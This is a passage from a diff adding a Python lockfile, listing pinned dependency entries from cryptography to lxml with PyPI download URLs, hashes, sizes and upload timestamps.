"https://files.pythonhosted.org/packages/bc/58/6b3d24e6b9bc474a2dcdee65dfd1f008867015408a271562e4b690561a4d/cryptography-46.0.5-pp311-pypy311_pp73-win_amd64.whl", hash = "sha256:8456928655f856c6e1533ff59d5be76578a7157224dbd9ce6872f25055ab9ab7", size = 3407605, upload-time = "2026-02-10T19:18:29.233Z" }, +] + +[[package]] +name = "deepdiff" +version = "8.6.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "orderly-set" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/19/76/36c9aab3d5c19a94091f7c6c6e784efca50d87b124bf026c36e94719f33c/deepdiff-8.6.1.tar.gz", hash = "sha256:ec56d7a769ca80891b5200ec7bd41eec300ced91ebcc7797b41eb2b3f3ff643a", size = 634054, upload-time = "2025-09-03T19:40:41.461Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/f7/e6/efe534ef0952b531b630780e19cabd416e2032697019d5295defc6ef9bd9/deepdiff-8.6.1-py3-none-any.whl", hash = "sha256:ee8708a7f7d37fb273a541fa24ad010ed484192cd0c4ffc0fa0ed5e2d4b9e78b", size = 91378, upload-time = "2025-09-03T19:40:39.679Z" }, +] + +[[package]] +name = "distlib" +version = "0.4.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/96/8e/709914eb2b5749865801041647dc7f4e6d00b549cfe88b65ca192995f07c/distlib-0.4.0.tar.gz", hash = "sha256:feec40075be03a04501a973d81f633735b4b69f98b05450592310c0f401a4e0d", size = 614605, upload-time = "2025-07-17T16:52:00.465Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/33/6b/e0547afaf41bf2c42e52430072fa5658766e3d65bd4b03a563d1b6336f57/distlib-0.4.0-py2.py3-none-any.whl", hash = "sha256:9659f7d87e46584a30b5780e43ac7a2143098441670ff0a49d5f9034c54a6c16", size = 469047, upload-time = "2025-07-17T16:51:58.613Z" }, +] + +[[package]] +name = "dnspython" +version = "2.7.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/b5/4a/263763cb2ba3816dd94b08ad3a33d5fdae34ecb856678773cc40a3605829/dnspython-2.7.0.tar.gz", hash = "sha256:ce9c432eda0dc91cf618a5cedf1a4e142651196bbcd2c80e89ed5a907e5cfaf1", size = 345197, upload-time = "2024-10-05T20:14:59.362Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/68/1b/e0a87d256e40e8c888847551b20a017a6b98139178505dc7ffb96f04e954/dnspython-2.7.0-py3-none-any.whl", hash = "sha256:b4c34b7d10b51bcc3a5071e7b8dee77939f1e878477eeecc965e9835f63c6c86", size = 313632, upload-time = "2024-10-05T20:14:57.687Z" }, +] + +[[package]] +name = "exceptiongroup" +version = "1.3.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "typing-extensions", marker = "python_full_version < '3.11'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/50/79/66800aadf48771f6b62f7eb014e352e5d06856655206165d775e675a02c9/exceptiongroup-1.3.1.tar.gz", hash = "sha256:8b412432c6055b0b7d14c310000ae93352ed6754f70fa8f7c34141f91c4e3219", size = 30371, upload-time = "2025-11-21T23:01:54.787Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/8a/0e/97c33bf5009bdbac74fd2beace167cab3f978feb69cc36f1ef79360d6c4e/exceptiongroup-1.3.1-py3-none-any.whl", hash = "sha256:a7a39a3bd276781e98394987d3a5701d0c4edffb633bb7a5144577f82c773598", size = 16740, upload-time = "2025-11-21T23:01:53.443Z" }, +] + +[[package]] +name = "fastapi" +version = "0.128.8" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "annotated-doc" }, + { name = "pydantic" }, + { name = "starlette" }, + { name = "typing-extensions" }, + { name = "typing-inspection" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/01/72/0df5c58c954742f31a7054e2dd1143bae0b408b7f36b59b85f928f9b456c/fastapi-0.128.8.tar.gz", hash = "sha256:3171f9f328c4a218f0a8d2ba8310ac3a55d1ee12c28c949650288aee25966007", size = 375523, upload-time = "2026-02-11T15:19:36.69Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/9f/37/37b07e276f8923c69a5df266bfcb5bac4ba8b55dfe4a126720f8c48681d1/fastapi-0.128.8-py3-none-any.whl", hash = "sha256:5618f492d0fe973a778f8fec97723f598aa9deee495040a8d51aaf3cf123ecf1", size = 103630, upload-time = "2026-02-11T15:19:35.209Z" }, +] + +[[package]] +name = "filelock" +version = "3.21.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/c0/6b/cc63cdbff46eba1ce2fbd058e9699f99c43f7e604da15413ca0331040bff/filelock-3.21.0.tar.gz", hash = "sha256:48c739c73c6fcacd381ed532226991150947c4a76dcd674f84d6807fd55dbaf2", size = 31341, upload-time = "2026-02-12T15:40:48.544Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/da/ab/05190b5a64101fcb743bc63a034c0fac86a515c27c303c69221093565f28/filelock-3.21.0-py3-none-any.whl", hash = "sha256:0f90eee4c62101243df3007db3cf8fc3ebf1bb13541d3e72c687d6e0f3f7d531", size = 21381, upload-time = "2026-02-12T15:40:46.964Z" }, +] + +[[package]] +name = "ghp-import" +version = "2.1.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "python-dateutil" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/d9/29/d40217cbe2f6b1359e00c6c307bb3fc876ba74068cbab3dde77f03ca0dc4/ghp-import-2.1.0.tar.gz", hash = "sha256:9c535c4c61193c2df8871222567d7fd7e5014d835f97dc7b7439069e2413d343", size = 10943, upload-time = "2022-05-02T15:47:16.11Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/f7/ec/67fbef5d497f86283db54c22eec6f6140243aae73265799baaaa19cd17fb/ghp_import-2.1.0-py3-none-any.whl", hash = "sha256:8337dd7b50877f163d4c0289bc1f1c7f127550241988d568c1db512c4324a619", size = 11034, upload-time = "2022-05-02T15:47:14.552Z" }, +] + +[[package]] +name = "griffe" +version = "1.15.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "colorama" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/0d/0c/3a471b6e31951dce2360477420d0a8d1e00dea6cf33b70f3e8c3ab6e28e1/griffe-1.15.0.tar.gz", hash = "sha256:7726e3afd6f298fbc3696e67958803e7ac843c1cfe59734b6251a40cdbfb5eea", size = 424112, upload-time = "2025-11-10T15:03:15.52Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/9c/83/3b1d03d36f224edded98e9affd0467630fc09d766c0e56fb1498cbb04a9b/griffe-1.15.0-py3-none-any.whl", hash = "sha256:6f6762661949411031f5fcda9593f586e6ce8340f0ba88921a0f2ef7a81eb9a3", size = 150705, upload-time = "2025-11-10T15:03:13.549Z" }, +] + +[[package]] +name = "h11" +version = "0.16.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/01/ee/02a2c011bdab74c6fb3c75474d40b3052059d95df7e73351460c8588d963/h11-0.16.0.tar.gz", hash = "sha256:4e35b956cf45792e4caa5885e69fba00bdbc6ffafbfa020300e549b208ee5ff1", size = 101250, upload-time = "2025-04-24T03:35:25.427Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/04/4b/29cac41a4d98d144bf5f6d33995617b185d14b22401f75ca86f384e87ff1/h11-0.16.0-py3-none-any.whl", hash = "sha256:63cf8bbe7522de3bf65932fda1d9c2772064ffb3dae62d55932da54b31cb6c86", size = 37515, upload-time = "2025-04-24T03:35:24.344Z" }, +] + +[[package]] +name = "httpcore" +version = "1.0.9" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "certifi" }, + { name = "h11" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/06/94/82699a10bca87a5556c9c59b5963f2d039dbd239f25bc2a63907a05a14cb/httpcore-1.0.9.tar.gz", hash = "sha256:6e34463af53fd2ab5d807f399a9b45ea31c3dfa2276f15a2c3f00afff6e176e8", size = 85484, upload-time = "2025-04-24T22:06:22.219Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/7e/f5/f66802a942d491edb555dd61e3a9961140fd64c90bce1eafd741609d334d/httpcore-1.0.9-py3-none-any.whl", hash = "sha256:2d400746a40668fc9dec9810239072b40b4484b640a8c38fd654a024c7a1bf55", size = 78784, upload-time = "2025-04-24T22:06:20.566Z" }, +] + +[[package]] +name = "httpx" +version = "0.28.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "anyio" }, + { name = "certifi" }, + { name = "httpcore" }, + { name = "idna" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/b1/df/48c586a5fe32a0f01324ee087459e112ebb7224f646c0b5023f5e79e9956/httpx-0.28.1.tar.gz", hash = "sha256:75e98c5f16b0f35b567856f597f06ff2270a374470a5c2392242528e3e3e42fc", size = 141406, upload-time = "2024-12-06T15:37:23.222Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/2a/39/e50c7c3a983047577ee07d2a9e53faf5a69493943ec3f6a384bdc792deb2/httpx-0.28.1-py3-none-any.whl", hash = "sha256:d909fcccc110f8c7faf814ca82a9a4d816bc5a6dbfea25d6591d6985b8ba59ad", size = 73517, upload-time = "2024-12-06T15:37:21.509Z" }, +] + +[[package]] +name = "identify" +version = "2.6.16" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/5b/8d/e8b97e6bd3fb6fb271346f7981362f1e04d6a7463abd0de79e1fda17c067/identify-2.6.16.tar.gz", hash = "sha256:846857203b5511bbe94d5a352a48ef2359532bc8f6727b5544077a0dcfb24980", size = 99360, upload-time = "2026-01-12T18:58:58.201Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/b8/58/40fbbcefeda82364720eba5cf2270f98496bdfa19ea75b4cccae79c698e6/identify-2.6.16-py2.py3-none-any.whl", hash = "sha256:391ee4d77741d994189522896270b787aed8670389bfd60f326d677d64a6dfb0", size = 99202, upload-time = "2026-01-12T18:58:56.627Z" }, +] + +[[package]] +name = "idna" +version = "3.11" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/6f/6d/0703ccc57f3a7233505399edb88de3cbd678da106337b9fcde432b65ed60/idna-3.11.tar.gz", hash = "sha256:795dafcc9c04ed0c1fb032c2aa73654d8e8c5023a7df64a53f39190ada629902", size = 194582, upload-time = "2025-10-12T14:55:20.501Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/0e/61/66938bbb5fc52dbdf84594873d5b51fb1f7c7794e9c0f5bd885f30bc507b/idna-3.11-py3-none-any.whl", hash = "sha256:771a87f49d9defaf64091e6e6fe9c18d4833f140bd19464795bc32d966ca37ea", size = 71008, upload-time = "2025-10-12T14:55:18.883Z" }, +] + +[[package]] +name = "importlib-metadata" +version = "8.7.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "zipp" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/f3/49/3b30cad09e7771a4982d9975a8cbf64f00d4a1ececb53297f1d9a7be1b10/importlib_metadata-8.7.1.tar.gz", hash = "sha256:49fef1ae6440c182052f407c8d34a68f72efc36db9ca90dc0113398f2fdde8bb", size = 57107, upload-time = "2025-12-21T10:00:19.278Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/fa/5e/f8e9a1d23b9c20a551a8a02ea3637b4642e22c2626e3a13a9a29cdea99eb/importlib_metadata-8.7.1-py3-none-any.whl", hash = "sha256:5a1f80bf1daa489495071efbb095d75a634cf28a8bc299581244063b53176151", size = 27865, upload-time = "2025-12-21T10:00:18.329Z" }, +] + +[[package]] +name = "importlib-resources" +version = "6.5.2" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/cf/8c/f834fbf984f691b4f7ff60f50b514cc3de5cc08abfc3295564dd89c5e2e7/importlib_resources-6.5.2.tar.gz", hash = "sha256:185f87adef5bcc288449d98fb4fba07cea78bc036455dd44c5fc4a2fe78fed2c", size = 44693, upload-time = "2025-01-03T18:51:56.698Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/a4/ed/1f1afb2e9e7f38a545d628f864d562a5ae64fe6f7a10e28ffb9b185b4e89/importlib_resources-6.5.2-py3-none-any.whl", hash = "sha256:789cfdc3ed28c78b67a06acb8126751ced69a3d5f79c095a98298cd8a760ccec", size = 37461, upload-time = "2025-01-03T18:51:54.306Z" }, +] + +[[package]] +name = "iniconfig" +version = "2.3.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/72/34/14ca021ce8e5dfedc35312d08ba8bf51fdd999c576889fc2c24cb97f4f10/iniconfig-2.3.0.tar.gz", hash = "sha256:c76315c77db068650d49c5b56314774a7804df16fee4402c1f19d6d15d8c4730", size = 20503, upload-time = "2025-10-18T21:55:43.219Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/cb/b1/3846dd7f199d53cb17f49cba7e651e9ce294d8497c8c150530ed11865bb8/iniconfig-2.3.0-py3-none-any.whl", hash = "sha256:f631c04d2c48c52b84d0d0549c99ff3859c98df65b3101406327ecc7d53fbf12", size = 7484, upload-time = "2025-10-18T21:55:41.639Z" }, +] + +[[package]] +name = "jinja2" +version = "3.1.6" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "markupsafe" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/df/bf/f7da0350254c0ed7c72f3e33cef02e048281fec7ecec5f032d4aac52226b/jinja2-3.1.6.tar.gz", hash = "sha256:0137fb05990d35f1275a587e9aee6d56da821fc83491a0fb838183be43f66d6d", size = 245115, upload-time = "2025-03-05T20:05:02.478Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/62/a1/3d680cbfd5f4b8f15abc1d571870c5fc3e594bb582bc3b64ea099db13e56/jinja2-3.1.6-py3-none-any.whl", hash = "sha256:85ece4451f492d0c13c5dd7c13a64681a86afae63a5f347908daf103ce6d2f67", size = 134899, upload-time = "2025-03-05T20:05:00.369Z" }, +] + +[[package]] +name = "libsass" +version = "0.23.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/79/b4/ab091585eaa77299558e3289ca206846aefc123fb320b5656ab2542c20ad/libsass-0.23.0.tar.gz", hash = "sha256:6f209955ede26684e76912caf329f4ccb57e4a043fd77fe0e7348dd9574f1880", size = 316068, upload-time = "2024-01-06T18:53:05.404Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/e5/13/fc1bea1de880ca935137183727c7d4dd921c4128fc08b8ddc3698ba5a8a3/libsass-0.23.0-cp38-abi3-macosx_11_0_x86_64.whl", hash = "sha256:34cae047cbbfc4ffa832a61cbb110f3c95f5471c6170c842d3fed161e40814dc", size = 1086783, upload-time = "2024-01-06T19:02:38.903Z" }, + { url = "https://files.pythonhosted.org/packages/55/2f/6af938651ff3aec0a0b00742209df1172bc297fa73531f292801693b7315/libsass-0.23.0-cp38-abi3-macosx_14_0_arm64.whl", hash = "sha256:ea97d1b45cdc2fc3590cb9d7b60f1d8915d3ce17a98c1f2d4dd47ee0d9c68ce6", size = 982759, upload-time = "2024-01-06T19:02:41.331Z" }, + { url = "https://files.pythonhosted.org/packages/fd/5a/eb5b62641df0459a3291fc206cf5bd669c0feed7814dded8edef4ade8512/libsass-0.23.0-cp38-abi3-manylinux_2_5_x86_64.manylinux1_x86_64.whl", hash = "sha256:4a218406d605f325d234e4678bd57126a66a88841cb95bee2caeafdc6f138306", size = 9444543, upload-time = "2024-01-06T19:02:43.191Z" }, + { url = "https://files.pythonhosted.org/packages/e5/fc/275783f5120970d859ae37d04b6a60c13bdec2aa4294b9dfa8a37b5c2513/libsass-0.23.0-cp38-abi3-win32.whl", hash = "sha256:31e86d92a5c7a551df844b72d83fc2b5e50abc6fbbb31e296f7bebd6489ed1b4", size = 775481, upload-time = "2024-01-06T19:02:46.05Z" }, + { url = "https://files.pythonhosted.org/packages/ef/20/caf3c7cf2432d85263119798c45221ddf67bdd7dae8f626d14ff8db04040/libsass-0.23.0-cp38-abi3-win_amd64.whl", hash = "sha256:a2ec85d819f353cbe807432d7275d653710d12b08ec7ef61c124a580a8352f3c", size = 872914, upload-time = "2024-01-06T19:02:47.61Z" }, +] + +[[package]] +name = "livereload" +version = "2.7.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "tornado" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/43/6e/f2748665839812a9bbe5c75d3f983edbf3ab05fa5cd2f7c2f36fffdf65bd/livereload-2.7.1.tar.gz", hash = "sha256:3d9bf7c05673df06e32bea23b494b8d36ca6d10f7d5c3c8a6989608c09c986a9", size = 22255, upload-time = "2024-12-18T13:42:01.461Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/e4/3e/de54dc7f199e85e6ca37e2e5dae2ec3bce2151e9e28f8eb9076d71e83d56/livereload-2.7.1-py3-none-any.whl", hash = "sha256:5201740078c1b9433f4b2ba22cd2729a39b9d0ec0a2cc6b4d3df257df5ad0564", size = 22657, upload-time = "2024-12-18T13:41:56.35Z" }, +] + +[[package]] +name = "lockfile" +version = "0.12.2" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/17/47/72cb04a58a35ec495f96984dddb48232b551aafb95bde614605b754fe6f7/lockfile-0.12.2.tar.gz", hash = "sha256:6aed02de03cba24efabcd600b30540140634fc06cfa603822d508d5361e9f799", size = 20874, upload-time = "2015-11-25T18:29:58.279Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/c8/22/9460e311f340cb62d26a38c419b1381b8593b0bb6b5d1f056938b086d362/lockfile-0.12.2-py2.py3-none-any.whl", hash = "sha256:6c3cb24f344923d30b2785d5ad75182c8ea7ac1b6171b08657258ec7429d50fa", size = 13564, upload-time = "2015-11-25T18:29:51.462Z" }, +] + +[[package]] +name = "lxml" +version = "6.0.2" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/aa/88/262177de60548e5a2bfc46ad28232c9e9cbde697bd94132aeb80364675cb/lxml-6.0.2.tar.gz", hash = "sha256:cd79f3367bd74b317dda655dc8fcfa304d9eb6e4fb06b7168c5cf27f96e0cd62", size = 4073426, upload-time = "2025-09-22T04:04:59.287Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/db/8a/f8192a08237ef2fb1b19733f709db88a4c43bc8ab8357f01cb41a27e7f6a/lxml-6.0.2-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:e77dd455b9a16bbd2a5036a63ddbd479c19572af81b624e79ef422f929eef388", size = 8590589, upload-time = "2025-09-22T04:00:10.51Z" }, + { url = "https://files.pythonhosted.org/packages/12/64/27bcd07ae17ff5e5536e8d88f4c7d581b48963817a13de11f3ac3329bfa2/lxml-6.0.2-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:5d444858b9f07cefff6455b983aea9a67f7462ba1f6cbe4a21e8bf6791bf2153", size = 4629671, upload-time = "2025-09-22T04:00:15.411Z" }, + { url = "https://files.pythonhosted.org/packages/02/5a/a7d53b3291c324e0b6e48f3c797be63836cc52156ddf8f33cd72aac78866/lxml-6.0.2-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:f952dacaa552f3bb8834908dddd500ba7d508e6ea6eb8c52eb2d28f48ca06a31", size = 4999961, upload-time = "2025-09-22T04:00:17.619Z" }, + { url = "https://files.pythonhosted.org/packages/f5/55/d465e9b89df1761674d8672bb3e4ae2c47033b01ec243964b6e334c6743f/lxml-6.0.2-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:71695772df6acea9f3c0e59e44ba8ac50c4f125217e84aab21074a1a55e7e5c9", size = 5157087, upload-time = "2025-09-22T04:00:19.868Z" }, + { url = "https://files.pythonhosted.org/packages/62/38/3073cd7e3e8dfc3ba3c3a139e33bee3a82de2bfb0925714351ad3d255c13/lxml-6.0.2-cp310-cp310-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:17f68764f35fd78d7c4cc4ef209a184c38b65440378013d24b8aecd327c3e0c8", size = 5067620, upload-time = "2025-09-22T04:00:21.877Z" }, + { url = "https://files.pythonhosted.org/packages/4a/d3/1e001588c5e2205637b08985597827d3827dbaaece16348c8822bfe61c29/lxml-6.0.2-cp310-cp310-manylinux_2_26_i686.manylinux_2_28_i686.whl", hash = "sha256:058027e261afed589eddcfe530fcc6f3402d7fd7e89bfd0532df82ebc1563dba", size = 5406664, upload-time = "2025-09-22T04:00:23.714Z" }, + { url = "https://files.pythonhosted.org/packages/20/cf/cab09478699b003857ed6ebfe95e9fb9fa3d3c25f1353b905c9b73cfb624/lxml-6.0.2-cp310-cp310-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:a8ffaeec5dfea5881d4c9d8913a32d10cfe3923495386106e4a24d45300ef79c", size = 5289397, upload-time = "2025-09-22T04:00:25.544Z" }, + { url = "https://files.pythonhosted.org/packages/a3/84/02a2d0c38ac9a8b9f9e5e1bbd3f24b3f426044ad618b552e9549ee91bd63/lxml-6.0.2-cp310-cp310-manylinux_2_31_armv7l.whl", hash = "sha256:f2e3b1a6bb38de0bc713edd4d612969dd250ca8b724be8d460001a387507021c", size = 4772178, upload-time = "2025-09-22T04:00:27.602Z" }, + { url = "https://files.pythonhosted.org/packages/56/87/e1ceadcc031ec4aa605fe95476892d0b0ba3b7f8c7dcdf88fdeff59a9c86/lxml-6.0.2-cp310-cp310-manylinux_2_38_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:d6690ec5ec1cce0385cb20896b16be35247ac8c2046e493d03232f1c2414d321", size = 5358148, upload-time = "2025-09-22T04:00:29.323Z" }, + { url = "https://files.pythonhosted.org/packages/fe/13/5bb6cf42bb228353fd4ac5f162c6a84fd68a4d6f67c1031c8cf97e131fc6/lxml-6.0.2-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:f2a50c3c1d11cad0ebebbac357a97b26aa79d2bcaf46f256551152aa85d3a4d1", size = 5112035, upload-time = "2025-09-22T04:00:31.061Z" }, + { url = "https://files.pythonhosted.org/packages/e4/e2/ea0498552102e59834e297c5c6dff8d8ded3db72ed5e8aad77871476f073/lxml-6.0.2-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:3efe1b21c7801ffa29a1112fab3b0f643628c30472d507f39544fd48e9549e34", size = 4799111, upload-time = "2025-09-22T04:00:33.11Z" }, + { url = "https://files.pythonhosted.org/packages/6a/9e/8de42b52a73abb8af86c66c969b3b4c2a96567b6ac74637c037d2e3baa60/lxml-6.0.2-cp310-cp310-musllinux_1_2_riscv64.whl", hash = "sha256:59c45e125140b2c4b33920d21d83681940ca29f0b83f8629ea1a2196dc8cfe6a", size = 5351662, upload-time = "2025-09-22T04:00:35.237Z" }, + { url = "https://files.pythonhosted.org/packages/28/a2/de776a573dfb15114509a37351937c367530865edb10a90189d0b4b9b70a/lxml-6.0.2-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:452b899faa64f1805943ec1c0c9ebeaece01a1af83e130b69cdefeda180bb42c", size = 5314973, upload-time = "2025-09-22T04:00:37.086Z" }, + { url = "https://files.pythonhosted.org/packages/50/a0/3ae1b1f8964c271b5eec91db2043cf8c6c0bce101ebb2a633b51b044db6c/lxml-6.0.2-cp310-cp310-win32.whl", hash = "sha256:1e786a464c191ca43b133906c6903a7e4d56bef376b75d97ccbb8ec5cf1f0a4b", size = 3611953, upload-time = "2025-09-22T04:00:39.224Z" }, + { url = "https://files.pythonhosted.org/packages/d1/70/bd42491f0634aad41bdfc1e46f5cff98825fb6185688dc82baa35d509f1a/lxml-6.0.2-cp310-cp310-win_amd64.whl", hash = "sha256:dacf3c64ef3f7440e3167aa4b49aa9e0fb99e0aa4f9ff03795640bf94531bcb0", size = 4032695, upload-time = "2025-09-22T04:00:41.402Z" }, + { url = "https://files.pythonhosted.org/packages/d2/d0/05c6a72299f54c2c561a6c6cbb2f512e047fca20ea97a05e57931f194ac4/lxml-6.0.2-cp310-cp310-win_arm64.whl", hash = "sha256:45f93e6f75123f88d7f0cfd90f2d05f441b808562bf0bc01070a00f53f5028b5", size = 3680051, upload-time = "2025-09-22T04:00:43.525Z" }, + { url = "https://files.pythonhosted.org/packages/77/d5/becbe1e2569b474a23f0c672ead8a29ac50b2dc1d5b9de184831bda8d14c/lxml-6.0.2-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:13e35cbc684aadf05d8711a5d1b5857c92e5e580efa9a0d2be197199c8def607", size = 8634365, upload-time = "2025-09-22T04:00:45.672Z" }, + { url = "https://files.pythonhosted.org/packages/28/66/1ced58f12e804644426b85d0bb8a4478ca77bc1761455da310505f1a3526/lxml-6.0.2-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:3b1675e096e17c6fe9c0e8c81434f5736c0739ff9ac6123c87c2d452f48fc938", size = 4650793, upload-time = "2025-09-22T04:00:47.783Z" }, + { url = "https://files.pythonhosted.org/packages/11/84/549098ffea39dfd167e3f174b4ce983d0eed61f9d8d25b7bf2a57c3247fc/lxml-6.0.2-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:8ac6e5811ae2870953390452e3476694196f98d447573234592d30488147404d", size = 4944362, upload-time = "2025-09-22T04:00:49.845Z" }, + { url = "https://files.pythonhosted.org/packages/ac/bd/f207f16abf9749d2037453d56b643a7471d8fde855a231a12d1e095c4f01/lxml-6.0.2-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:5aa0fc67ae19d7a64c3fe725dc9a1bb11f80e01f78289d05c6f62545affec438", size = 5083152, upload-time = "2025-09-22T04:00:51.709Z" }, + { url = "https://files.pythonhosted.org/packages/15/ae/bd813e87d8941d52ad5b65071b1affb48da01c4ed3c9c99e40abb266fbff/lxml-6.0.2-cp311-cp311-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:de496365750cc472b4e7902a485d3f152ecf57bd3ba03ddd5578ed8ceb4c5964", size = 5023539, upload-time = "2025-09-22T04:00:53.593Z" }, + { url = "https://files.pythonhosted.org/packages/02/cd/9bfef16bd1d874fbe0cb51afb00329540f30a3283beb9f0780adbb7eec03/lxml-6.0.2-cp311-cp311-manylinux_2_26_i686.manylinux_2_28_i686.whl", hash = "sha256:200069a593c5e40b8f6fc0d84d86d970ba43138c3e68619ffa234bc9bb806a4d", size = 5344853, upload-time = "2025-09-22T04:00:55.524Z" }, + { url = "https://files.pythonhosted.org/packages/b8/89/ea8f91594bc5dbb879734d35a6f2b0ad50605d7fb419de2b63d4211765cc/lxml-6.0.2-cp311-cp311-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:7d2de809c2ee3b888b59f995625385f74629707c9355e0ff856445cdcae682b7", size = 5225133, upload-time = "2025-09-22T04:00:57.269Z" }, + { url = "https://files.pythonhosted.org/packages/b9/37/9c735274f5dbec726b2db99b98a43950395ba3d4a1043083dba2ad814170/lxml-6.0.2-cp311-cp311-manylinux_2_31_armv7l.whl", hash = "sha256:b2c3da8d93cf5db60e8858c17684c47d01fee6405e554fb55018dd85fc23b178", size = 4677944, upload-time = "2025-09-22T04:00:59.052Z" }, + { url = "https://files.pythonhosted.org/packages/20/28/7dfe1ba3475d8bfca3878365075abe002e05d40dfaaeb7ec01b4c587d533/lxml-6.0.2-cp311-cp311-manylinux_2_38_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:442de7530296ef5e188373a1ea5789a46ce90c4847e597856570439621d9c553", size = 5284535, upload-time = "2025-09-22T04:01:01.335Z" }, + { url = "https://files.pythonhosted.org/packages/e7/cf/5f14bc0de763498fc29510e3532bf2b4b3a1c1d5d0dff2e900c16ba021ef/lxml-6.0.2-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:2593c77efde7bfea7f6389f1ab249b15ed4aa5bc5cb5131faa3b843c429fbedb", size = 5067343, upload-time = "2025-09-22T04:01:03.13Z" }, + { url = "https://files.pythonhosted.org/packages/1c/b0/bb8275ab5472f32b28cfbbcc6db7c9d092482d3439ca279d8d6fa02f7025/lxml-6.0.2-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:3e3cb08855967a20f553ff32d147e14329b3ae70ced6edc2f282b94afbc74b2a", size = 4725419, upload-time = "2025-09-22T04:01:05.013Z" }, + { url = "https://files.pythonhosted.org/packages/25/4c/7c222753bc72edca3b99dbadba1b064209bc8ed4ad448af990e60dcce462/lxml-6.0.2-cp311-cp311-musllinux_1_2_riscv64.whl", hash = "sha256:2ed6c667fcbb8c19c6791bbf40b7268ef8ddf5a96940ba9404b9f9a304832f6c", size = 5275008, upload-time = "2025-09-22T04:01:07.327Z" }, + { url = "https://files.pythonhosted.org/packages/6c/8c/478a0dc6b6ed661451379447cdbec77c05741a75736d97e5b2b729687828/lxml-6.0.2-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:b8f18914faec94132e5b91e69d76a5c1d7b0c73e2489ea8929c4aaa10b76bbf7", size = 5248906, upload-time = "2025-09-22T04:01:09.452Z" }, + { url = "https://files.pythonhosted.org/packages/2d/d9/5be3a6ab2784cdf9accb0703b65e1b64fcdd9311c9f007630c7db0cfcce1/lxml-6.0.2-cp311-cp311-win32.whl", hash = "sha256:6605c604e6daa9e0d7f0a2137bdc47a2e93b59c60a65466353e37f8272f47c46", size = 3610357, upload-time = "2025-09-22T04:01:11.102Z" }, + { url = 